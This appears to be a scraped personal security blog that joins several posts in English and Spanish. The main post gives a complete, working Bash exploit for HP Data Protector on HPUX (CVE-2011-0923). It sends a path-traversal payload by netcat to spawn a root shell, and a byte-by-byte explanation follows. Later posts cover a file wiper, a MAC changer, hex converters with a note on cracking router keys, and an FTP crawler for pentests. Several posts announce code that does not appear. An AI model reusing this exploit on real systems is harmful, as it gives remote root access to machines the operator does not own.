Since HPUX has been around for a long time and HP was concerned about its security he created the project Bastile for HPUX. I had used it to secure servers and I can say that it’s great! You have to be really careful because it closes a lot of stuff and it may, no sorry, it will broke the connectivity with your oldest applications. ( by the way, it moves the users hashes to the /tcb/files/auth/ folder ). This doesn’t mean you just run tomorrow, apply the Bastille on your servers and forget about them… YOU ALSO NEED TO PATCH THE SERVER -CONSTANTLY-

So this week I was working in a Pentest and one of the main objectives was this HPUX 11.11 server, with 10 open ports and Bastille installed, it wasn’t looking so good. Looking around I found that Data Protect has this nasty vulnerability and that fdisk has created a PoC for this Zero Day but in Windows. So with a lot of help from c4an (he ported this tool to the Metasploit Project that you can see in his blog) the server was compromised with root…. w00t w00t!

So this is the code and I share it ONLY FOR EDUCATIONAL PURPOSES. I encourage you not to use it on servers that you don’t own. You can also download it from my Hacking Projects section


#!/bin/bash
# Exploit Title: HP Data Protector Remote Shell for HPUX
# Date: 2011-08-02
# Author: Adrian Puente Z.
# Software Link:http://www8.hp.com/us/en/software/software-
# product.html?compURI=tcm:245-936920&pageTitle=data-protector
# Version: 0.9
# Tested on: HPUX
# CVE: CVE-2011-0923
# Notes: ZDI-11-055
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/
# Document.jsp?objectID=c02781143
#
# Powered by Hackarandas www.hackarandas.com
# Reachme at ch0ks _at_ hackarandas _dot_ com || @ch0ks
# Lots of thanks to David Llorens (@c4an) for all the help.
# Ported to HPUX from fdisk's (@fdiskyou) Windows version.
# Windows version: http://www.exploit-db.com/exploits/17339/
#
# Shouts to shellhellboy, r3x, r0d00m, etlow,
# psymera, nitr0us and ppl in #mendozaaaa
#

HOST=`echo ${@} | awk '{print $1}'`
PORT=`echo ${@} | awk '{print $2}'`
CMD=`echo ${@} | sed 's/'$HOST'.*'${PORT}'\ \ *//g'`
SC=""
SC=${SC}"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
SC=${SC}"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
SC=${SC}"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
SC=${SC}"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
SC=${SC}"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
SC=${SC}"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
SC=${SC}"\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
SC=${SC}"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
SC=${SC}"\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SHELLCODE=${SC}
( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}


This script is in Bash and can run in any Linux like Backtrack or in Windows using Cygwin and this is how it works:

The shellcode is 168 bytes and is injected directly on the port. The first 8 bytes of the 104 bytes of this shellcode is part of the protocol where we use the flag “C 20″ to tell Data Protect (I found that if we manipulates this value other things can be accomplished even writing directly to / ) to perform the vulnerable function that allows remote connections and execute files within it’s local bin directory.


"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
"\x74\x2d\x00\x20\x30\x00\x20\x30\x00"


but if we use the Directory Path Traversal technique we can execute any binary within the file system. The next part was tricky, I can execute any command but I am unable to pass arguments directly to it, so after some debug I found I can spawn a /usr/bin/sh closing it with some nullbytes to get the complete 168 bytes and if I concatenates the command to execute it will pass directly to the shell and execute it with the user’s environment variables, in this case root, and returns us the output.


"\x20\x2e\x2e\x2f\x2e\x2e\x2f"
"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
"\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"


So at the end I get this to work doing this:


( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}

The Netcat helps me to transports the shellcode to the port and it returns the output. It simply works.

So special thanks to fdisk for the PoC and David Llorens for the useful brainstorming, he also ported this tool to the Metasploit Project that you can see in his blog.

Adrian Puente Z.

That’s it, pretty fancy uh? This is the code for this script:

You just need to change the variables according to your blog needs, each one is commented to best understanding and don’t forget to give execution access. This script has only been tested on Linux and you should only keep it inside your home not in the www or http folder to avoid that someone read it.

You can download it here under your own risk and don’t forget to check my other projects here.

Any comment or doubt leave me a comment and I will try to reply it asap.

Adrian Puente Z.

Adrian Puente Z., Hackarandas, ssh, blog, update, wordpress

Here is the Bash code.

You can change the parameters to fit your needs.

Here is an example.

I hope you liked and helped. You can also visit other scripts and projects I have here. And please, leave your comments.

Adrián Puente Z.

Adrian Puente Z., Hackarandas, Security, Network Test, ping, traceroute

The file is overwritten 7 times as the US Department of Defense clearing standard DoD 5220.22-M specifies and renamed another 7 times before being deleted. It is written for the KSH shell as many UNIX has it by default. It doesn’t run in bash but you can edit it to fit your needs.

Here is the code:

The syntax is simple:

You can follow this commands to test the script:

Now we wipe the file

In the next release I will make a recursive version for directories and you can visit my other projects here.

Troubleshoot: Some Unix systems doesn’t have /dev/urandom device so you can play with the RANDEV variable to use the one you have.

Update: Some versions of HPUX doesn’t have /dev/[u]random so you can use as a desperate alternative the /dev/zero device. I found in a forum that some versions of HPUX doesn’t have the /dev/zero device so you can create it with this command:

Adrián Puente Z.

hackarandas, wipe, Adrian Puente Z., security, Secure Delete, unix, security, seguridad, ksh code

This script runs on linux and helps you changing your MAC Address in a blink of an eye, this is how it works: you invoke the command and automatically see if you are root, if not it sudo itself to get the needed priviledges, generates a new random mac and installs it in the interface.

For example:

The code is really simple:

You can download the script or check other projects i’ve made.

So that’s it. Leave your comments please and happy hacking!

Adrián Puente Z.

hackarandas, hacker, mac changer, Adrian Puente Z., Linux, backtrack, pentest

Encontré el Tiny Web Gallery que sobrepasó mis expectativas, aparte de que es realmente fácil de utilizar y administrar. ¿No te ha pasado que tienes cientos de pics pero el problema es que hiciste respaldo en multiples directorios en diferentes partes de tu sistema? En fin, hice un script que me automatiza la creación de la galeria escalando las imágenes a 800×600, ordenándolas y etiquetándolos con una leyenda que describa la situación del evento, para muestra un botón:

En mi caso me bajé el XAMPP que es un excelente proyecto de que incluye Apache, PHP 4 o 5 y MySQL extremadamente amigable para administrar. Vamos a descargarlo aqui y seguimos las instrucciones, es importante cambiarle las contraseñas a los servicios de XAMPP para un servidor en producción sino luego no chilles si te cambian la página de inicio. Recuerda que el TWG funciona con PHP4 al menos yo no lo he probado con el PHP5 asi que cambiamos con el siguiente comando:

sudo /opt/lampp/lampp security
sudo /opt/lampp/lampp php4
sudo /opt/lampp/lampp restart


Ahora descargamos el TWG de aqui lo descargamos en /tmp y lo ponemos en la siguiente carpeta /opt/lampp/htdocs. Es importante cambiarle el grupo y darle permisos de escritura al apache pues de otra forma no podremos administar e TWG.

cd /opt/lampp/htdocs/
unzip -a /tmp/twg*.zip
mv twg* galeria
chgrp -R nobody galeria
chmod -R g+w galeria


Listo! ya tenemos instalado el Apache con el PHP4 y el TWG en nuestra máquina y podemos verlo andar en la siguiente direccion http://localhost/galeria . Debes de poder ver la galería de prueba, cosa que queremos pues significa que el “juguete” está andando, después puedes borrar esta galeria para sólo dejar la tuya. Ahora vamos a administrarla, RECUERDA CAMBIAR LOS PERMISOS. entramos a la siguiente dirección http://localhost/galeria/admin/index.php con el usuario admin y la contraseña twg_admin y nos llevará a la primera página de administración donde no exhorta cambiar el passwd cosa que recomiendo ampliamente así como cambiar el login del usuario por defecto por uno menos convencional, ya sabes, vivo en la paranoia.

Para irnos directo: en el menú izquierdo vemos una liga que dice “Configure TWG” la pulsamos y en la opción “Enable session caching of directorys and files” le damos false. Cuando estamos actualizando la galeria es bueno tenerlo en false así regenera el caché y podemos ver la galeria terminada. Cuando acabemos no olvides poner en true esta opción, es mucho mas óptimo tenerlo habilitado cuando ya se encuentra en producción. Las imágenes se guardan en carpetas en la siguiente dirección /opt/lampp/htdocs/galeria/pictures Cada galeria le puedes poner una carpeta y dentro de cada carpeta puedes poner una imagen llamada folder.png para que sea el ícono de la Galeria así como un archivo foldername.txt para la descripción donde puedes poner HTML y hacerlo mas “eye candy“.

Vamos al famoso Script que nos automatizará la tarea de procesamiento de imágenes. Es importente tener el comando convert del Imagemagick. El script doGallery

#!/bin/bash
# Script hecho por Adrian Puente.

if [ $# -lt 2 ]
then
        echo -e "Sintaxis: `basename ${0}` [Prefix Pics] ["Desc"]"
        echo -e "Ejemplo: `basename ${0}` navidad.familia.2007 \\"Navidad con la Familia 2007\\".\\n"
        echo -e "Es importante poner las descripciones con espacios entre comillas."
        echo -e "Terminando el script una carpeta 800x600 contendra las imagenes procesadas."
        exit 0
fi

[ -f PROCESADO.TXT ] \&\& cat PROCESADO.TXT \&\& echo "Borrar el archivo PROCESADO.TXT" \&\& exit 

PREF=${1}
DESC=${2}
OK="\\033[5;32;1mHECHO\\033[0m"
NO="\\033[5;31;1mERROR\\033[0m"

[ ! -d 800x600 ] \&\& mkdir 800x600
# Renombramos las pics para mayor comodidad.
CTR=0;
for i in `ls -1 *.jpg *.JPG`
do
        if [ ${CTR} -lt 10 ]
        then
                NUM=00${CTR}
        else if [ ${CTR} -lt 100 ]
        then
                        NUM=0${CTR}
                else
                        NUM=${CTR}
                fi
        fi
        CTR=`expr ${CTR} + 1`
        echo -en "Convirtiendo ${i} --> ${PREF}-${NUM}.jpg "
        convert ${i} -scale 800x600 -fill white \\
                     -box \\#00000080 -gravity South \\
                     -pointsize 25 -annotate +0+5 "${DESC}" \\
                     800x600/${PREF}-${NUM}.jpg \&\& echo -e [${OK}] || echo -e [${NO}]
done

echo ${DESC} > 800x600/foldername.txt
echo -e "Directorio procesado para galeria el "`date +%F` > PROCESADO.TXT

El script te crea un archivo foldername.txt con la descripción que escogimos que es compatible con el TWG, también crea un archivo llamado PROCESADO.TXT que guarda la fecha en que esa carpeta fue procesada para no tener múltiples instancias de las carpetas procesadas. Ahora renombramos la carpeta 800×600 con un nombre que describa la situación, no sé, mi_cumple_2007, cuando termino restauro la opción del cache y en mi caso sincronizo los directorios con rsync, así puedo tener la galeria “en desarrollo” en mi máquina y cuando queda como quiero la subo, así tengo respaldo y no consumo el ancho de banda de mi site, ok muy ñoño pero no hay porqué ser ineficientes.

rsync --progress -avz -e ssh /opt/lampp/htdocs/galeria usuario@sitioweb:camino/a/los/htdocs


Si tienes algún problema extraño recuerda los permisos . En mi caso mi usuario y grupo en el sitio web es diferente al que tengo en mi máquina así que es bueno verificar los permisos de los grupos. Si quieres aumentarle la seguridad a tu sitio cambia el nombre de la carpeta admin por algún nombre difícil de adivinary accesa por la misma carpeta /index.php. Listo! la galeria ha sido creada. Enjoy

La galería de este su Blog es: http://www.hackarandas.com/galeria

Adrián Puente Z.

ascii2hex.pl

#!/usr/bin/perl
# Script editado por Adrian Puente Z.

use strict;
use warnings;

if ( $#ARGV == -1 )
{
        print "Sintaxis: ascii2hex.pl [cadena ASCII]\\n";
        exit;
}

my $testchars = $ARGV[0];
my $hexchars = ”;
foreach my $c (split(//,$testchars)) {
        $hexchars .= sprintf "%x", ord($c);
}
print "$hexchars\\n";

Este Script hace lo contrario pero con otra aproximación:

hex2ascii.pl

#!/usr/bin/perl
# Script editado por Adrian Puente Z.

use strict;
use warnings;

if ( $#ARGV == -1 )
{
        print "Sintaxis: hex2ascii.pl [cadena HEX]\\n";
        exit;
}

my $s = $ARGV[0];
$s =~ s/://g;
$s =~ s/ //g;
my $l=length $s;
my @a=pack "H$l",$s;
print "@a\\n"

El truco del hex2ascii es que cuando tienes una cadena de tipo AE:34:DF:12 quita los caracteres : y lo convierte con la función pack de perl. Es cosa de checar la documentación para poder cambiar de otros formatos como binario a ASCII o HEX.

Ah, y no, no significan nada en ASCII, los que yo encontré. Normalmente en los routers 2WIRE de Prodigy tienen una clave en la parte inferior del dispositivo que, por lo que he visto, son siempre números facilitando mucho el rompimiento de la llave de la red.

Adrián Puente Z.

Obvio no tienes el tiempo de revisar cuales son los espontáneos con servicios arriba compartiendo MP3s, warez y pr0n (lo peor es que no te avisan por ser el sysadmin).

Este pequeño script en perl te permite automatizar la búsqueda de información dentro de servidores FTP sin tener que estar pegado al cliente.

Esto lo podemos integrar a una salida de Nmap procesada de forma que sólo nos devuelva las IPs de las máquinas.Con este comando obtenemos una lista de IPs ordenaditas y sin repetirse con un puerto 21 (ftp) abierto a partir de un scaneo Nmap con una salida tipo gnmap.

Y para integrar nuestro script usamos el siguiente comando:

Terminado el comando nos generará varios archivos con el contenido del servidor y el directorio raiz. Para muestra un botón:

Si vemos bien podemos observar que tiene una salida que nos permite aplicar un filtro con grep y al estar separado por tabs lo podemos redirigir a un archivo csv y abrirlo en excel.

A mi me sirvió mucho en el último pentest, sólo hubo que descartar los servidores cuyo contenido tenía un directorio JetDirect para descartar las impresoras. Puedes descargarlo de aqui.